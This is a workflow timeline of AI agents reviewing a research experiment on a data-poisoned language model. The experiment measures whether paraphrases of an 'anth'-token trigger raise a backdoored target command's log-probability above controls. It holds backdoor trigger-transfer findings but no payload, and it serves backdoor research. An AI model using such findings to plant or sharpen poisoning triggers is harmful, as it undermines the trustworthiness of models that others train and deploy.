Timeline · 41 events

1. epm:status-changed2026-05-17T04:38:35Z· task.py· reviewing → awaiting_promotion
   Cleared all gates: planner, code review, run, upload-verify, analyzer, interpretation-critic, clean-result-critic (recon…

   Cleared all gates: planner, code review, run, upload-verify, analyzer, interpretation-critic, clean-result-critic (reconciler-bound). Parked for user promotion.

2. epm:completion-audit2026-05-17T04:38:35Z· claude-manager
   ## Completion audit — checklist | Item | Status | Evidence | |---|---|---| | Hypothesis stated in body | PASS | `## Hyp…

   ## Completion audit — checklist
   
   | Item | Status | Evidence |
   |---|---|---|
   | Hypothesis stated in body | PASS | `## Hypothesis` + `## Kill criterion` in pre-clean-result body (snapshotted to original-body.md) |
   | Plan approved by user | PASS | epm:plan-approved v1 after 3 rounds of adversarial review (18 critics + 4 reconcilers + 1 Codex planner + 4 manager patches) |
   | Implementation reviewed | PASS | code-reviewer + codex-code-reviewer round 1 (CONCERNS+PASS-revise-then-merge) → round 2 (PASS+PASS) |
   | Experiment ran end-to-end | PASS | 6 min wall on 1× A100 80GB after T_row probe fix (Round-1 experimenter hard-fail caught hardcoded 13-vs-actual 12 token count) |
   | Artifacts uploaded | PASS | upload-verifier v1 PASS at HF Hub commit 65cca1fb — all 7 result JSONs present |
   | Pod terminated | PASS | pod-360 auto-terminated post upload-verify; epm:pod-terminated v1 |
   | Clean-result body promoted | PASS | task.py set-body + set-clean-result; has_clean_result=true; original snapshotted to original-body.md |
   | Hero figure | PASS | figures/issue_360/hero_paraphrase_vs_control.{png,pdf} (regenerated round-1 reconciler MF, no on-chart annotations) |
   | Per-token trajectory | PARTIAL | Figure exists but data CSV is provenance placeholder — analyzer sandbox couldn't pull HF Hub raw CSV. Body acknowledges. Re-analyzable via the uploaded `target_logprobs_by_token.csv` |
   | Interpretation reviewed | PASS | interpretation-critic + codex twin round 1 (NEEDS-FIX+REVISE) → manager applied 10 fixes from merged critique |
   | Clean-result reviewed | PASS | clean-result-critic + codex twin round 1 (PASS vs needs_targeted_fix) → reconciler binding (1 MF: regen hero w/o overlays, applied) |
   | Reproducibility section | PASS | Permanent HF Hub URLs at commit 65cca1fb; git commit 41fee502; copy-pasteable reproduce command |
   | Confidence calibrated | PASS | LOW — both co-primary tests fail with negative direction, 0.05% power at 1.0-nat shift; multi-seed source-matched replication needed for MODERATE+ |
   | Decision label honest | PASS | Inconclusive (co_primary_fail_but_underpowered) — title matches, body matches |
   | Follow-up direction noted | PASS | TL;DR Next steps + Details discussion of source-batch transportability proxy + per-token re-analysis target |
   
   **Outcome:** Ready for promotion. No incomplete items. Per /issue Step 4 + workflow park-and-wait gate, advancing to status:awaiting_promotion and exiting cleanly. User runs `uv run python scripts/task.py promote 360 useful|not-useful` when ready.

3. epm:clean-result-critique2026-05-17T04:38:03Z· claude-manager
   ## Round-1 reconciler MF applied Reconciler verdict (round 1): needs_targeted_fix with ONE binding item — regenerate he…

   ## Round-1 reconciler MF applied
   
   Reconciler verdict (round 1): needs_targeted_fix with ONE binding item — regenerate hero figure without on-chart text overlays ('positive control fires', 'headline test is wrong direction') per feedback_no_plot_annotations user memory. The other 3 Codex findings discarded as interpretation drift.
   
   Fix applied: `figures/issue_360/hero_paraphrase_vs_control.{png,pdf}` regenerated via `/tmp/regen_360_hero.py` using `paper_plots.set_paper_style(target='blog')`. Annotation content (which p-value, which n) is retained as plain text labels at the right margin, NOT as on-chart arrows. Zero-line + above/below visual carries the direction-of-effect story without the overlays.
   
   Annotation content already present in:
   - Caption: 'anth-cognates sit above controls, while non-anth paraphrases sit below controls'
   - TL;DR Results bullet: explicit numbers and p-values
   
   Plot meta + data CSV unchanged. No body edits needed for this fix.
   
   Standing recommendation (non-binding): TL;DR Results bullet could state n=35/12/6 explicitly instead of 'small n', but reconciler judged the n's already appear downstream so this is honest hedging.

4. epm:clean-result-critique-reconcile2026-05-17T04:36:25Z· unknown
   <!-- epm:clean-result-critique-reconcile v1 --> ## Reconciler Verdict — needs_targeted_fix (one binding item) **Role un…

   <!-- epm:clean-result-critique-reconcile v1 -->
   ## Reconciler Verdict — needs_targeted_fix (one binding item)
   
   **Role under adjudication:** clean-result-critic
   **Round:** 1
   **Verdict:** needs_targeted_fix
   **Claude verdict:** PASS
   **Codex verdict:** needs_targeted_fix (4 items)
   
   ### Findings adjudicated
   | Source | Finding (terse) | Verified? | Classification | Weight |
   |---|---|---|---|---|
   | Codex | TL;DR Results bullet says "small n" instead of concrete n=35/12/6 | ✓ | Real-nonblocking | Non-blocking |
   | Codex | Figure path uses `figures/issue_360/...` instead of `tasks/.../artifacts/...` | ✓ as written, but spec interpretation wrong | Unverified (false-positive) | Discarded |
   | Codex | Hero figure has on-chart text overlays ("positive control fires", "headline test is wrong direction") | ✓ | Real-blocking | Blocking |
   | Codex | Fourth bold group `**Local artifact limitation:**` in Reproducibility violates Artifacts/Compute/Code triple | ✓ as written, but spec doesn't forbid additional groups | Unverified (false-positive) | Discarded |
   | Claude | All 11 lenses + both verifiers PASS; body defensible as-is | partial — missed the on-chart annotation lens 3 sub-issue | Partially mistaken | n/a |
   
   ### Rationale
   The hero figure `figures/issue_360/hero_paraphrase_vs_control.png` contains
   literal on-chart text labels — green "positive control fires" pointing at the
   Anth-raw/Anth-delta error bars and red "headline test is wrong direction"
   pointing at the Non-anth-raw/Non-anth-delta error bars. I confirmed this by
   reading the PNG directly. The `feedback_no_plot_annotations` user memory is
   unambiguous: "Don't add arrows, effect-size labels, or explanatory text
   overlays to plots; keep figures clean." This is an established standing
   preference, scoped at user level, applied to every clean-result plot. The
   annotations duplicate prose that already lives in the caption + Results
   bullet ("non-anth paraphrases sit below controls", "the headline test is
   underpowered"), so removing them costs nothing while bringing the figure
   into compliance. Lens 3 (figure discipline) is binding. Claude reviewer
   missed this; Codex caught it.
   
   The other three Codex findings are non-binding:
   
   - **Figure path (`figures/issue_360/`):** The markdown clean-result spec
     in `.claude/plans/task-workflow-migration.md` § 10 shows the figure
     syntax as `![alt](relative/or/hub/url/figure.png)` — relative repo paths
     are explicitly allowed. Precedent: task #363's body uses
     `../../../figures/issue_363/...` and task #366's body uses
     `figures/issue_366/...`, both already approved bodies sitting in
     `awaiting_promotion`. The figure-path artifact-folder convention Codex
     cites does not exist in the spec; `figures/issue_<N>/` is the project's
     Upload Policy default for figures committed to git on the issue branch.
     No fix required.
   
   - **"small n" in Results bullet:** The body already gives the concrete
     sample sizes downstream — "143 distinct-user inputs", "35 non-anth
     paraphrase rows", "12 D+E controls", and the per-batch breakdown
     `main_v2` 28 / `coref_v2` 7 / etc. in the parameter table. The TL;DR
     "small n" phrase is honest hedging, not a spec violation; `verify_task_body.py`
     doesn't enforce concreteness here. Including n=35/12/6 inline in the
     Results bullet would be a strictly better TL;DR (the user memory
     precedent in `feedback_human_tldr_style.md` favors LessWrong-register
     concrete numbers in the headline), but it doesn't rise to blocking on
     its own. Worth folding in opportunistically (see Standing
     recommendations).
   
   - **Fourth Reproducibility group `**Local artifact limitation:**`:** The
     spec § 10 lists the three required groups (Artifacts / Compute / Code)
     but does not say "exactly three" or otherwise forbid additional bold
     groups. `verify_task_body.py` check 4 only enforces permanent URLs +
     no sentinel placeholders within the Reproducibility section; nothing
     in the verifier rejects extra groups. The Local artifact limitation
     paragraph carries reproducibility-relevant context (it explains why
     `per_token_trajectory.png` is provenance-only) that doesn't fit cleanly
     inside Artifacts/Compute/Code. Codex is reading a "three required" gate
     as "three permitted only", which the spec does not say.
   
   ### Observed but not raised
   - The body has TWO figures under `## Figure` (hero + per_token_trajectory),
     but the spec § 10 example shows only one figure under that H2. The
     verifier captions check only inspects the first non-image, non-empty
     line, so this currently passes. Not raised by either reviewer; flagging
     here only as future-spec-clarification fodder.
   
   ### Required fixes (binding) before status:awaiting_promotion
   1. Regenerate `figures/issue_360/hero_paraphrase_vs_control.png` (and the
      companion `.pdf`) WITHOUT the on-chart text overlays "positive control
      fires" and "headline test is wrong direction". Keep the points, error
      bars, p-value annotations next to each error bar (numeric values are
      data, not narrative overlay), axes labels, title, subtitle, and source
      line. The overlay narrative already lives in the figure caption and
      the TL;DR Results bullet; no information is lost. Re-commit the PNG +
      PDF + meta.json under `figures/issue_360/`.
   
   ### Standing recommendations (non-blocking, fold opportunistically)
   - Consider rephrasing the Results bullet's "at small n" to inline the
     concrete numbers, e.g. "Anth-cognates show a positive direction
     (n=6 cognate rows vs 12 D+E controls; about +3.84 nats raw …)". The
     body has the numbers; promoting them into the TL;DR matches the
     `feedback_human_tldr_style` exemplars.
   <!-- /epm:clean-result-critique-reconcile -->

5. epm:clean-result-critique-codex2026-05-17T04:34:03Z· codex-clean-result-critic
   <!-- epm:clean-result-critique-codex v1 --> ## Clean-Result Critique (Codex) — Round 1 **Verdict: needs_targeted_fix** …

   <!-- epm:clean-result-critique-codex v1 -->
   ## Clean-Result Critique (Codex) — Round 1
   
   **Verdict: needs_targeted_fix**
   
   **Verifier:** SKIPPED — verify_task_body.py not on disk yet (step 6 of migration plan); applied 6 checks by eye.
   **Audit script:** PASS — 0 patterns flagged across 16 banned-pattern regexes (pre-run via /tmp/audit_360.py).
   
   ### Lens 1 — Title
   - Title: "Teacher-forced target log-prob does not detect non-anth paraphrase lift above controls (LOW confidence)"
   - PASS
   
   ### Lens 2 — TL;DR
   - needs_targeted_fix — Results has effect magnitudes and a figure anchor, but does not give concrete sample sizes in the Results bullet as required. “small n” is not a sample size.
   
   ### Lens 3 — Figure
   - needs_targeted_fix — There is exactly one `## Figure` H2, and the per-token placeholder is honestly inserted under it with a provenance caption. However, the figure links use `figures/issue_360/...`, not the allowed `tasks/<status>/<N>/artifacts/...` or permanent HF Hub URL form. The hero chart also contains explanatory text overlays: “positive control fires” and “headline test is wrong direction,” which violates the no-plot-annotations user memory.
   
   ### Lens 4 — Details narrative
   - PASS — Details contains the test-rationale paragraph in plain language, defines the key scoring setup, discloses the source-batch asymmetry, keeps the per-token placeholder limitation explicit, and places the parameters table before the confidence sentence.
   
   ### Lens 5 — Reproducibility
   - URL permanence: PASS
   - Sentinel scrub: PASS
   - `n/a` discipline: needs_targeted_fix — Reproducibility has a fourth bold group, `Local artifact limitation`, but Lens 5 requires exactly three groups: Artifacts, Compute, Code. Fold that paragraph into Artifacts or Compute without adding a fourth group.
   
   ### Lens 6 — Voice
   - PASS
   
   ### Lens 7 — Statistical-framing rule
   - Audit hits inherited: none (mechanical audit clean)
   - Prose-level patterns the audit missed: PASS — “perm p” is a p-value source label, not a named statistical test in narrative prose; “median pairwise shift” is acceptable plain-English shorthand and does not name the Hodges-Lehmann estimator in prose.
   
   ### Specific revision requests (concrete edits the analyzer should make)
   1. **tasks/reviewing/360/body.md:19** — change the Results bullet to include concrete sample sizes, e.g. add “non-anth paraphrases n=35 versus D+E controls n=12” and “anth-cognates n=6 versus D+E controls n=12.” Reason: Lens 2 requires sample size in Results.
   2. **tasks/reviewing/360/body.md:23 and tasks/reviewing/360/body.md:27** — change `figures/issue_360/...` image links to either `tasks/reviewing/360/artifacts/...` paths or permanent HF Hub artifact URLs. Reason: Lens 3 restricts figure image targets to task artifact paths or permanent Hub URLs.
   3. **figures/issue_360/hero_paraphrase_vs_control.png** — remove the on-chart overlays “positive control fires” and “headline test is wrong direction.” Reason: user memory says to keep plots clean and avoid explanatory text overlays.
   4. **tasks/reviewing/360/body.md:76** — fold `**Local artifact limitation:** ...` into the existing Artifacts or Compute text instead of keeping it as a fourth bold Reproducibility group. Reason: Lens 5 requires exactly Artifacts, Compute, and Code.
   
   <!-- /epm:clean-result-critique-codex -->

6. epm:clean-result-critique2026-05-17T04:30:00Z· clean-result-critic
   Round 1: PASS — body is defensible as-is; mechanical verifier + anti-pattern audit clean; all 11 lenses pass. Mechanical…

   Round 1: PASS — body is defensible as-is; mechanical verifier + anti-pattern audit clean; all 11 lenses pass.
   Mechanical pre-pass: verify_task_body.py PASS (all 6 checks), audit_clean_results_body_discipline.py PASS.
   Lens findings:
   - Lens 1 (Title): PASS — single sentence, names direction + comparison anchor, ends '(LOW confidence)', agrees with confidence-rationale sentence.
   - Lens 2 (TL;DR): PASS — four labeled bullets, 'I' voice, [#276] markdown-link form, Results bullet has effect sizes + n + anchor-link to figure; Next-steps appropriately notes no raw completions exist (forward-pass-only).
   - Lens 3 (Summary structure + register): PASS — exactly four required H2s in order; LW register; no Δ-notation; D+E controls are the experimental-condition name, not internal labels.
   - Lens 4 (Details discipline): PASS — single narrative, 'Why this test' folded in, parameters table before confidence sentence, confidence sentence in canonical shape; no sample completions because forward-pass-only and that is explicitly stated.
   - Lens 5 (Captions): PASS — hero 34 words; per-token panel caption short but accurate to the provenance-only purpose; no math notation on charts.
   - Lens 6 (Heading-as-toggle): N/A (markdown spec).
   - Lens 7 (Body-discipline anti-patterns): PASS — audit clean; no pre-reg/H_a/REJECTED/Δ-Npp/letter-bin/GCG/PAIR/post-hoc in prose.
   - Lens 8 (Source issues H2): N/A — solo experiment.
   - Lens 9 (Issue-link form): PASS — [#276](https://eps.superkaiba.com/tasks/276) consistently.
   - Lens 10 (Verifier sanity): PASS — all six verify_task_body.py checks PASS.
   - Lens 11 (Statistical-framing rule): PASS — p-values + sample sizes in prose (allowed); 'Why this test' uses descriptive names ('rank-based directional check', 'median pairwise shift', 'label-shuffle check') rather than canonical test names; no Cohen's d / η² / effect-size labels; no inline value±err in prose; Hodges-Lehmann appears only on chart y-axis (allowed); '0.05% power' as a number is per-spec OK.
   
   Body is ready to advance to status:awaiting_promotion.

7. epm:interpretation2026-05-17T04:29:28Z· analyzer-codex
   epm:interpretation v2 — Round-2 body narrows the LOW-confidence title to the non-anth paraphrase result; softens anth-co…

   epm:interpretation v2 — Round-2 body narrows the LOW-confidence title to the non-anth paraphrase result; softens anth-cognate wording; splits raw/delta anth-cognate shifts and p-values; reconciles adjusted medians with the median-pairwise shift; reframes the +6.03-nat floor as opposite-direction evidence; adds deduped source-batch counts and the main_v2 transportability alternative; moves the sandbox artifact limitation into Reproducibility; and records the immediate-context and per-token checks as unresolved from local row artifacts rather than inferring them from summary stats. The per-token figure and sidecars were regenerated as provenance artifacts with no fabricated token values because HF CLI/DNS access and the local HF cache still did not provide target_logprobs_by_token.csv or target_logprobs.json.

8. epm:status-changed2026-05-17T04:28:30Z· task.py· interpreting → reviewing
   Interpretation round 2 done; advancing to reviewing for clean-result-critic ensemble (final gate).

   Interpretation round 2 done; advancing to reviewing for clean-result-critic ensemble (final gate).

9. epm:interpretation2026-05-17T04:28:24Z· claude-manager
   ## Round-2 patches applied (manager-completed, analyzer regenerated figure but did not set-body) All 10 union-of-critiq…

   ## Round-2 patches applied (manager-completed, analyzer regenerated figure but did not set-body)
   
   All 10 union-of-critique items addressed in body v2:
   
   1. Softened anth-cognate language: 'confirms' → 'is consistent with', 'fires cleanly' → 'shows a positive direction at small n'.
   2. TL;DR disambiguates raw vs delta HL shifts (+3.84 nats raw / +3.71 nats delta) and p-values (raw perm p=0.0097, delta perm p=0.037).
   3. Title restated around paraphrase null only ('does not detect non-anth paraphrase lift above controls (LOW confidence)'); anth-cognate result framed inline in Details as 'real but should not be oversold'.
   4. New paragraph in Details reconciling HL pairwise shift (-1.39 nats) vs delta-median gap (-2.21 nats from +23.22 vs +25.43); explains pairwise-vs-difference numerical distinction.
   5. Per-token trajectory regenerated (192KB PNG, but still placeholder data — analyzer's sandbox could not pull HF Hub CSV; figure documents provenance, not empirical trajectory). Referenced in #figure with explicit caveat caption.
   6. Floor framing fixed: 'observed shifts are NEGATIVE and far in the opposite direction from the +6.03 nat floor'.
   7. Source-batch breakdown added to parameters table: 'main_v2 28, coref_v2 7, pre_poison_similarity 0, slash_anth_followup 0' — explains why floor binds.
   8. New alternative explanation: 'the negative direction could also reflect batch-specific properties of main_v2, the only batch containing D+E controls'.
   9. Context-robustness caveat for anth-cognate: 'I do not treat this as context-robust yet... immediate-context anth-cognate comparison still needs to be recomputed from target_logprobs.json'.
   10. Sandbox-DNS limitation acknowledged in body (Details paragraph 5).
   
   Body file at `tasks/interpreting/360/body.md` (10024 bytes). Title restated. `has_clean_result=true` sticky. Per-token figure regenerated (still placeholder until raw CSV is loaded — this is a known follow-up).
   
   Next: clean-result-critic + codex-clean-result-critic ensemble round 1 (final adversarial gate).

10. epm:interp-critique-codex2026-05-17T04:13:25Z· unknown
    <!-- epm:interp-critique-codex v1 --> ## Codex Interpretation Critique — Round 1 **Verdict: REVISE** ### Overclaims - …

    <!-- epm:interp-critique-codex v1 -->
    ## Codex Interpretation Critique — Round 1
    
    **Verdict: REVISE**
    
    ### Overclaims
    - "median pairwise lift of about +3.7 nats" for the anth-cognate positive control — the raw poisoned HL shift is +3.84 nats, not +3.7; +3.7 is the delta-vs-clean value. The two metrics are both real and the discrepancy is small, but the body conflates them into one "about +3.7" figure. Suggested fix: "about +3.8 nats raw and about +3.7 nats after subtracting the clean-base proxy" (the Details section already does this correctly — the TL;DR should match it).
    - "the anth-token positive control fires cleanly" — "cleanly" is borderline overclaim given the delta permutation p is 0.037, which is above the pre-registered α=0.01 and only passes at α=0.05. The raw permutation p (0.0097) clears α=0.01, but the co-primary delta metric does not. The body's Details section mentions "p near 0.01" without distinguishing 0.0097 (raw) from 0.037 (delta). Should specify: "raw permutation p=0.010 and delta permutation p=0.037; the raw metric clears α=0.01 but the delta metric clears only α=0.05."
    
    ### Surprising Unmentioned Patterns
    - The delta-vs-clean median is HIGHER for D+E controls (+25.43 nats) than for non-anth paraphrases (+23.22 nats) — a ~2.2 nat gap visible in the hero_paraphrase_vs_control_data.csv. This means the poisoned model assigns relatively MORE probability to the target command after clean-base adjustment for control inputs than for paraphrase inputs. The body notes the negative direction but does not discuss the mechanism: is the clean base particularly low-probability for control inputs (making delta large), or is the poisoned model particularly un-lifted by paraphrase inputs? This asymmetry is worth one sentence in Details — it is a distinct mechanistic observation from the HL shift statistic.
    - The per-token trajectory figure (figures/issue_360/per_token_trajectory.png) is a blank provenance-marker placeholder — its data CSV contains no numerical values (all empty, data_available_locally=false for all 12 positions). The figure file exists in the repo and is listed in the figure directory, but the body never references it. If the figure was committed as part of the artifact set, readers or downstream agents may encounter it and misinterpret the blank panel as a plot failure. The body should explicitly note that the per-token trajectory was not computed locally and the figure is a provenance marker only, OR the file should not be committed.
    
    ### Alternative Explanations Not Addressed
    - The negative direction (paraphrases score below controls on both raw and delta) could be explained by the clean base having different base-rate probability profiles for control vs paraphrase input vocabulary, independent of poisoning: if the base model assigns higher next-token probability to control-like prompts across the board, the delta adjustment would systematically favor controls even with no poisoning signal. The body's framing attributes the negative shift to the H1 prediction failing, but does not rule out this base-rate confound for the direction of the effect.
    - The positive anth-cognate control result (n=6) is consistent with the BPE `anth`-token mechanism from #276, but is also consistent with a smaller confound: all 6 S1-S6 inputs contain the literal token `anth` in the user message, which may prime the model's attention to the system prompt's bash-generator context differently than 12 control inputs that are simple path-style or domain strings. The body correctly attributes the mechanism to `anth` BPE, but does not address whether the input-surface shift is partially driven by differential context-attention rather than poisoning-specific target probability.
    
    ### Confidence Calibration
    - Stated: LOW. Evidence supports: LOW. Correct — both co-primary tests fail with wrong direction, and the 0.05% power calculation correctly blocks a Refute label. LOW is the right call.
    - One nuance: the body says "the negative finding cannot be distinguished from underpowered noise" — this is accurate but slightly misleading because the observed HL shift of -1.25 nats is not just "not distinguishable from zero": it is also inside the 6.03-nat cross-batch floor, meaning the magnitude itself would not clear the decision threshold even with adequate power. Both facts (underpowered AND magnitude below floor) should appear together in the body's confidence rationale, not sequentially buried in the table and the Details section.
    
    ### Missing Context
    - The body's Details section mentions "I could not spot-check individual rows locally because the analyzer sandbox could not resolve huggingface.co." This is an honest statement, but the body does not say how many of the 35 non-anth paraphrase rows came from each source batch (main_v2 vs coref_v2 vs pre_poison_similarity vs slash_anth_followup). Given that the cross-batch floor (6.03 nats) is the binding constraint, and that all 12 controls live in main_v2 while paraphrases span 4 batches, a one-sentence source-batch breakdown for the 35 non-anth rows would let the reader judge whether the cross-batch variance problem is evenly distributed or concentrated in specific batches.
    - The body notes "target token count is 12 in prompt context after the dynamic BPE probe, even though earlier planning notes estimated 13." The planner's 13-token estimate is in the approved plan (v3 §4) and the discrepancy is addressed only in the Details table. A one-line clarification that this is a known-resolved implementation note (the v3 patch handled it, the audit gate passed) would help readers not familiar with the planning history.
    
    ### Plot-Prose Match (per figure)
    - **Figure 1** (`figures/issue_360/hero_paraphrase_vs_control.png`) — loaded: yes — caption claim: "Points show summary median-pairwise target log-prob shifts versus D+E controls; anth-cognates sit above controls, while non-anth paraphrases sit below controls" — visible in figure: yes — issues: The figure y-axis label says "Hodges-Lehmann shift vs D+E controls (nats)" while the body caption calls the same metric "median-pairwise target log-prob shifts." These are the same estimator but a reader who doesn't know that will be confused. The figure title says "Anth-cognates lift target log-prob; non-anth paraphrases do not" which matches the prose. The p-values annotated on the figure (p=0.0091, p=0.016, p=0.8, p=0.82) match the CSV and results event. The annotation "positive control fires" (green) and "headline test is wrong direction" (red) are both present and accurate. No inconsistency between the figure and data CSV. Minor: the 95% bootstrap intervals visible in the figure for Anth raw include the CI [+1.26, +7.93] from the data CSV, which is consistent.
    - **Figure 2** (`figures/issue_360/per_token_trajectory.png`) — loaded: yes — caption claim (figure subtitle, not body): "No token-level values were reconstructed in the network-isolated analyzer sandbox" — visible: yes (correctly stated as placeholder) — issues: This figure is never referenced in the body. If it was committed, the body should either reference it with an explicit statement that it is a provenance placeholder (not actual data), or it should not be committed. As-is it creates a dangling artifact that will confuse any downstream audit.
    - **Figure 3** (`figures/issue_360/noise_floor.png`) — loaded: yes — caption claim: "Observed non-anth shifts sit inside the cross-batch noise floor" — visible: yes — issues: The figure correctly shows both observed HL shifts (-1.25 and -1.39 nats, from the data CSV) as points inside the shaded cross-batch floor band. The x-axis labels ("Raw poisoned" and "Delta vs clean") match the two metrics in the data CSV. The 6.03-nat floor shown in the figure matches the plan and results event. However, the body's Details section says "the observed shifts (-1.25 / -1.39 nats) are far below this floor" — the floor is a 95th-percentile ceiling, and both observed shifts are NEGATIVE and BELOW zero, while the floor is POSITIVE at 6.03 nats. "Far below" is ambiguous: it should say "the observed shifts are negative and in the opposite direction from the floor threshold, which is defined as the 95th percentile of the cross-batch null at +6.03 nats."
    
    ### Raw-Text Sample Plausibility (per Result)
    - **N/A** — this experiment is forward-pass teacher-forcing only. No completions were sampled. The body correctly states "no raw sampled completions exist for this experiment." Lens 7 does not apply.
    
    ### Specific Revision Requests
    1. TL;DR "median pairwise lift of about +3.7 nats": split into raw (+3.8 nats) and delta (+3.7 nats) to match the Details section and data.
    2. Clarify the anth-cognate positive control p-values: "raw permutation p=0.010 (clears α=0.01) and delta permutation p=0.037 (clears only α=0.05)." The current "p near 0.01" conflates the two.
    3. Add one sentence about the delta-median asymmetry: controls have higher delta median than paraphrases (+25.43 vs +23.22 nats), and briefly note the two candidate interpretations (base-rate confound vs poisoning-specific signal absence).
    4. Either reference per_token_trajectory.png in the body as an explicit provenance placeholder with no data, or remove the file from the committed figures. As committed it is a silent dangling artifact.
    5. Rephrase the "far below this floor" statement in Details: the observed shifts are negative (wrong direction) and the floor is a positive threshold at +6.03 nats; "far below" is ambiguous — say "negative and in the opposite direction from the +6.03 nat floor" or similar.
    6. Add a one-sentence source-batch breakdown for the 35 non-anth paraphrase rows (how many per source_batch) near the cross-batch floor discussion.
    <!-- /epm:interp-critique-codex -->

11. epm:clean-result-drafted2026-05-17T04:05:57Z· analyzer-codex
    Clean-result draft is in place with LOW confidence: no non-anth paraphrase lift above controls was detected, while the a…

    Clean-result draft is in place with LOW confidence: no non-anth paraphrase lift above controls was detected, while the anth-token positive control fires. Figures and source sidecars are under figures/issue_360/, with raw HF artifact links in Reproducibility.

12. epm:interpretation2026-05-17T04:05:49Z· analyzer-codex
    Clean-result body is promoted in place at tasks/interpreting/360/body.md, with the original body snapshotted to tasks/in…

    Clean-result body is promoted in place at tasks/interpreting/360/body.md, with the original body snapshotted to tasks/interpreting/360/original-body.md. The hero figure is figures/issue_360/hero_paraphrase_vs_control.png; because this sandbox cannot resolve huggingface.co, the figure sidecar marks it as summary-derived rather than a raw strip plot.
    
    The interpretation is Inconclusive, not Refute. The non-anth-stem paraphrase comparison goes the wrong direction versus D+E controls (raw shift -1.25 nats, adjusted shift -1.39 nats; directional p-values about 0.8), but the observed variance gives only 0.05% power for a 1-nat shift. The anth-cognate positive control remains a real positive result: adjusted shift about +3.7 nats with p near 0.01, so the #276 anth-token mechanism carries to teacher-forced target log-prob.
    
    The binding limitation is the 6.03-nat cross-batch null floor and the lack of source-matched controls outside the main batch. A multi-seed, larger-control replication is the next experiment needed to make the negative paraphrase result decisive.

13. epm:status-changed2026-05-17T03:52:06Z· task.py· verifying → interpreting
    Pod terminated; advancing to interpreting → analyzer.

    Pod terminated; advancing to interpreting → analyzer.

14. epm:pod-terminated2026-05-17T03:52:06Z· claude-manager
    Pod pod-360 terminated. Volume + container disk destroyed. Auto-termination per /issue Step 8 (upload-verifier PASS gate…

    Pod pod-360 terminated. Volume + container disk destroyed. Auto-termination per /issue Step 8 (upload-verifier PASS gate cleared).

15. epm:upload-verification2026-05-17T03:51:44Z· unknown
    <!-- epm:upload-verification v1 --> ## Upload Verification **Verdict: PASS** | Artifact | Required? | Status | URL | |…

    <!-- epm:upload-verification v1 -->
    ## Upload Verification
    
    **Verdict: PASS**
    
    | Artifact | Required? | Status | URL |
    |----------|-----------|--------|-----|
    | `input_manifest.json` on HF Hub data repo | Yes | PASS | https://huggingface.co/datasets/superkaiba1/explore-persona-space-data/blob/65cca1fbd1265e4a7d8b8c88aaecd5009f474638/issue360_target_logprobs/input_manifest.json |
    | `target_logprobs.json` on HF Hub data repo | Yes | PASS | https://huggingface.co/datasets/superkaiba1/explore-persona-space-data/blob/65cca1fbd1265e4a7d8b8c88aaecd5009f474638/issue360_target_logprobs/target_logprobs.json |
    | `target_logprobs.partial.jsonl` on HF Hub data repo | Yes | PASS | https://huggingface.co/datasets/superkaiba1/explore-persona-space-data/blob/65cca1fbd1265e4a7d8b8c88aaecd5009f474638/issue360_target_logprobs/target_logprobs.partial.jsonl |
    | `target_logprobs_summary.json` on HF Hub data repo | Yes | PASS | https://huggingface.co/datasets/superkaiba1/explore-persona-space-data/blob/65cca1fbd1265e4a7d8b8c88aaecd5009f474638/issue360_target_logprobs/target_logprobs_summary.json |
    | `target_logprobs_by_token.csv` on HF Hub data repo | Yes | PASS | https://huggingface.co/datasets/superkaiba1/explore-persona-space-data/blob/65cca1fbd1265e4a7d8b8c88aaecd5009f474638/issue360_target_logprobs/target_logprobs_by_token.csv |
    | `mde_power_report.json` on HF Hub data repo | Yes | PASS | https://huggingface.co/datasets/superkaiba1/explore-persona-space-data/blob/65cca1fbd1265e4a7d8b8c88aaecd5009f474638/issue360_target_logprobs/mde_power_report.json |
    | `think_scaffold_audit.json` on HF Hub data repo | Yes | PASS | https://huggingface.co/datasets/superkaiba1/explore-persona-space-data/blob/65cca1fbd1265e4a7d8b8c88aaecd5009f474638/issue360_target_logprobs/think_scaffold_audit.json |
    | Model / adapter on HF Hub model repo | N/A (forward-pass-only run, no training) | PASS | n/a |
    | Eval JSONs committed to git on issue branch | N/A (upload policy: forward-pass eval JSONs go to HF Hub data repo, not git) | PASS | n/a |
    | Raw completions on HF Hub data repo | N/A (no sampled completions; forward-pass log-probs only) | PASS | n/a |
    | Figures committed to git on issue branch | N/A (no figures generated in this run; analysis not yet run) | PASS | n/a |
    | Training metrics on WandB live run | N/A (no training; plan v3 §10 specifies no WandB project) | PASS | n/a |
    | Local weights + merged dirs cleaned | Yes | PASS | No safetensors in eval_results/issue_360/, no merged/ subdir |
    | Pod lifecycle | Yes | PASS | pod-360 still running (status: running); no follow-up tasks filed against #360 — auto-terminate is correct next step |
    <!-- /epm:upload-verification -->

16. epm:status-changed2026-05-17T03:50:14Z· task.py· running → verifying
    Run complete; advancing to verifying for upload-verifier.

    Run complete; advancing to verifying for upload-verifier.

17. epm:results2026-05-17T03:50:13Z· claude-manager
    ## Run complete — Decision label: **Inconclusive (co_primary_fail_but_underpowered)** The headline H1 (non-anth-stem pa…

    ## Run complete — Decision label: **Inconclusive (co_primary_fail_but_underpowered)**
    
    The headline H1 (non-anth-stem paraphrases > D+E controls on target log-prob) failed both co-primary tests with the wrong direction (paraphrases LOWER than controls, not higher). But the MDE power simulation showed only **0.05% power** to detect a 1.0-nat shift at α=0.01 given the observed variance — well below the 80% threshold required to call Refute — so per plan §6 the decision is **Inconclusive, not Refute**.
    
    ### Comparison (ii) — non-anth-stem paraphrases vs D+E controls (the H1/H2 verdict, n=35 vs n=12, post_empty_think context)
    
    | Metric | Raw poisoned | Delta vs clean base |
    |---|---|---|
    | Median paraphrase | -21.01 nats | +23.22 nats |
    | Median control (D+E) | -20.42 nats | +25.43 nats |
    | Hodges–Lehmann shift | **-1.25 nats** (BCa 95% CI [-3.67, +1.98]) | **-1.39 nats** (CI [-4.13, +1.92]) |
    | MW p (one-sided, paraphrase > control) | 0.80 | 0.82 |
    | Stratified permutation p | 0.83 | 0.81 |
    | Cliff's δ | -0.16 | -0.18 |
    | Direction | NEGATIVE (paraphrases ≤ controls) | NEGATIVE |
    
    Both co-primary tests fail to reject the null AND the observed direction is opposite the H1 prediction. CI bounds include zero on both metrics.
    
    ### Comparison (i) — anth-stem cognates positive control (n=6 vs n=12)
    
    | Metric | Raw poisoned | Delta vs clean base |
    |---|---|---|
    | Hodges–Lehmann shift | **+3.84 nats** (CI [+1.26, +7.93]) | **+3.71 nats** (CI [+0.77, +8.92]) |
    | MW p (one-sided) | 0.0091 | 0.016 |
    | Stratified permutation p | 0.0097 | 0.037 |
    | Cliff's δ | +0.69 | +0.64 |
    
